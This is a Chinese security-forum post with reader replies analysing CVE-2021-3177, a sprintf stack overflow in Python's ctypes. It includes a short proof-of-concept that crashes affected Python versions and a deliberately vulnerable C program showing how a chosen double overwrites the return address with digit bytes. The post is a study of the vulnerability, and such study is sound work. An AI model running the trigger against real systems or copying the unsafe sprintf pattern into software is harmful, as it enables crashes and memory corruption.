首页
社区
课程
招聘
[原创]Python栈溢出CVE-2021-3177分析
发表于: 2021-2-10 11:37 14275

[原创]Python栈溢出CVE-2021-3177分析

2021-2-10 11:37
14275

我正在学习缓冲区溢出,同时又对各个语言的安全问题感兴趣。最近看到 Python CVE-2021-3177 ,所以分析一下。

从描述上看,这是一个sprintf函数引发的栈溢出漏洞。

因为本文主要分析的和Python执行流程关系不大,所以也可以忽略第一步调试环境搭建,直接看调试分析。

搭建调试环境

我用的IDE是Clion

先搭建Python调试环境,编译出可调试的Python二进制程序。这一步可以参考官网 Guide

准备好漏洞测试的Python代码

调试分析

_ctypes/callproc.c下面代码打好断点

在IDE中可以看到 self->value.d 是double类型,且值就是我们传入的参数。

从这里可以看出来,这个CVE漏洞和下面这段C代码漏洞是一样的

所以接下来我就去研究学习上面的C代码中漏洞是怎么利用的。

sprintf引起的栈溢出分析

网上文章分析sprintf溢出都以sprintf(buf, "%s", s);举例

对于 "%s" 格式符这种覆盖很容易理解,如果s="a...a" 很多a字符时,就可以将rip覆盖成"\x6161616161616161"。

对于 "%f" 这种用浮点数字去覆盖buf变量,我就有一个疑问,浮点数怎么控制rip指针。比如s=11111111111111112222222233333333.0时,rip会被覆盖成什么?

先说自己的结论:

结论是怎么来的呢?

首先我们要知道浮点数在计算机并不总是能够精确的被表示,只能被近似表示。更具体的细节需要去了解"浮点数在计算机中的存储",可以看文末的参考资料。

所以 double s=11111111111111112222222233333333.0 在内存中,s的值并不一定是 11111111111111112222222233333333.0

我在代码中加了一行printf("%f\n",s);打印s变量实际的值。

从下面的分析来看,在64位系统上 11111111111111112222222233333333.0 会把rip覆盖成"\x30\x38\x30\x32\x34\x33\x35\x33"。

_ctypes/callproc.c其他代码有没有相同的栈溢出问题?
self->value.d在_ctypes/ctypes.h文件有定义,是一个union数据类型。

这个union类型中看着好像还有几个字段也能用在sprintf栈溢出中,如下:

在 _ctypes/callproc.c 文件看了看,结论是只有d变量可以利用。

_ctypes/callproc.c文件中,也只有下面的代码sprintf d变量。所以只有这一处是存在栈溢出的。

本文仅仅分析了参数怎么控制rip指针,其中我学习到的点是"浮点数在内存中的表示"。

关于漏洞还有其他很多方面都没有分析,比如:

C语言float、double的内存表示

 
from ctypes import *
x = c_double.from_param(1e300)
 
print(x)
from ctypes import *
x = c_double.from_param(1e300)
 
print(x)
...
case 'd':
    sprintf(buffer, "<cparam '%c' (%f)>",
        self->tag, self->value.d);  // 1e300
    break;
...
...
case 'd':
    sprintf(buffer, "<cparam '%c' (%f)>",
        self->tag, self->value.d);  // 1e300
    break;
...
#include <stdio.h>
int main(){
  char buf[2];
  double s=1e300//s值用户可控
 
  sprintf(buf, "%f", s);
}
#include <stdio.h>
int main(){
  char buf[2];
  double s=1e300//s值用户可控
 
  sprintf(buf, "%f", s);
}
在漏洞代码中,double浮点数可以用来向很大内存中写入 `\x30-\x39`、`\x2e` 的字节。
 
* 只能写入`\x30-\x39`、`\x2e`,而不能写其他字节,是因为 %f 转换成小数只能有`[0-9.]`,数字1-9对应的十六进制就是 `\x30`-`\x39`
* 能覆盖多大的内存?
    * 因为double类型,表示的小数位数能很大,所以至少可以覆盖300个字节
    * 如果是float类型,就要小的多了
在漏洞代码中,double浮点数可以用来向很大内存中写入 `\x30-\x39`、`\x2e` 的字节。
 
* 只能写入`\x30-\x39`、`\x2e`,而不能写其他字节,是因为 %f 转换成小数只能有`[0-9.]`,数字1-9对应的十六进制就是 `\x30`-`\x39`
* 能覆盖多大的内存?
    * 因为double类型,表示的小数位数能很大,所以至少可以覆盖300个字节
    * 如果是float类型,就要小的多了
#include <stdio.h>
int main(){
  char buf[2];
  double s=11111111111111112222222233333333.0; //1618283
 
  // s实际的值是 1111111111111111 19575513 35342080.000000
  //            buf栈            rbp      rip
  printf("%f\n",s);
 
  /*
 
  print("".join([hex(ord(i)).replace("0x","\\x") for i in "35342080"]))
  "35342080"字符串对应 \x33\x35\x33\x34\x32\x30\x38\x30
 
  >>> x=[hex(ord(i)).replace("0x","\\x") for i in "35342080"]
  >>> x.reverse()
  >>> print("".join(x))
  \x30\x38\x30\x32\x34\x33\x35\x33
 
  */
  // 所以rip会被覆盖成 \x30\x38\x30\x32\x34\x33\x35\x33
  // gdb验证后,符合预期
 
  sprintf(buf, "%f", s);
}
#include <stdio.h>
int main(){
  char buf[2];
  double s=11111111111111112222222233333333.0; //1618283
 
  // s实际的值是 1111111111111111 19575513 35342080.000000
  //            buf栈            rbp      rip
  printf("%f\n",s);

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (6)
雪    币: 28
活跃值: (254)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
很有意思的是,有些看起来是”漏洞“的漏洞,确是开发者故意为之。
2021-2-11 03:06
0
雪    币: 714
活跃值: (82)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
3
请教一下,我是不是能通过:把OD设置为实时调试器,再执行POC,也能看到触发时的上下文环境?有没有试过?
2021-3-15 01:32
0
雪    币: 74
活跃值: (409)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
xyy吸氧羊 请教一下,我是不是能通过:把OD设置为实时调试器,再执行POC,也能看到触发时的上下文环境?有没有试过?
没有试过。已经忘了怎么用OD了,不太清楚是否能用来调试这个漏洞。
2021-3-29 15:43
0
雪    币: 714
活跃值: (82)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
5
爱大萌 没有试过。已经忘了怎么用OD了,不太清楚是否能用来调试这个漏洞。

我试了一下,是可以的,不过好像是因为有GS保护,会直接跳到stack buffer overrun里面去

2021-4-5 02:35
0
雪    币: 714
活跃值: (82)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
6

然后还有一个问题:你文章里说"浮点数实际在内存中的值是不一样的" 我试了一下你的验证程序,确实正如你说的,

但是我发现,我调试这个漏洞的时候,poc里的1e300,在溢出的时候,在内存中的值还是1E300,retn地址也是3030303030303030,这是为什么呢?

如果内存中的值没有改变的话,还是能像”%s“一样利用吧?

2021-4-5 02:42
0
雪    币: 74
活跃值: (409)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
xyy吸氧羊 然后还有一个问题:你文章里说&quot;浮点数实际在内存中的值是不一样的&quot; 我试了一下你的验证程序,确实正如你说的,但是我发现,我调试这个漏洞的时候,poc里的1e300, ...
`在溢出的时候,在内存中的值还是1E300`,这句话里,你是怎么看内存的值还是1e300的呢?
2021-5-15 14:49
0
游客
登录 | 注册 方可回帖
返回
//